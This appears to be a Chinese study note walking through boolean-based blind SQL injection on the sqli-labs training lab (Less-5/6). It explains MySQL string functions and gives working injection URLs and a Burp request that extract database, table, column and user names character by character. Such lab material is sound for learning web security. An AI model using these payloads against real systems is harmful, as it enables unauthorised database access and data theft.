1、left()函数:left(database(),1)=’s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0;
2、regexp函数:select user() regexp ‘r’ user()结果是root,regexp为匹配正则表达式;从左往右
3、like函数:select user() like ‘ro%’ 匹配与regexp相似;
4、substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
5、ascii() 将某个字符串转化为ascii值
6、chr(数字)或者是ord(‘字母’) 使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库:
select left(database(),1)=’s’; 前一位是否是s
select database() regexp’s’; 匹配第一个字符是否是s
select database() like ‘s%’; 匹配第一个字符是否是s
select substr((select database()),1,1)=’s’; 匹配第一个字符是否是s
select substr((select database()),1,3)=’sec’; 匹配前三个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是:
select ascii(substr((select database()),1,1))>110; 如果大于110,就返回1,否则返回0;
less-05 BOOL型
1、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ 查看是否存在注入
2、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ order by 3—+ 查看有多少列
3、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and left((select database()),1)=’s’—+ 判断第一位是否是s,然后用bp爆破处理
GET /sqli-labs-master/Less-5/?id=1%27%20and%20left((select%20database()),1)=%27s§a§%27—+ HTTP/1.1
通过返回的长度来确定第二位是多少,最后确定为e,依次类推进行测试。
或者使用方法二:
1、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100—+ 通过二分法猜解得到所有的库,红色为可变参数。
2、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1—+ 再次通过二分法可猜解得到security下的所有表,其中红色为可变参数
3、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x75736572 limit 1,1),1,1))>1—+ 通过二分法可猜解得到user内的所有字段,其中红色为可变参数。
4、http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>1—+
继续猜解可得到字段内的数值。
less_6同less5
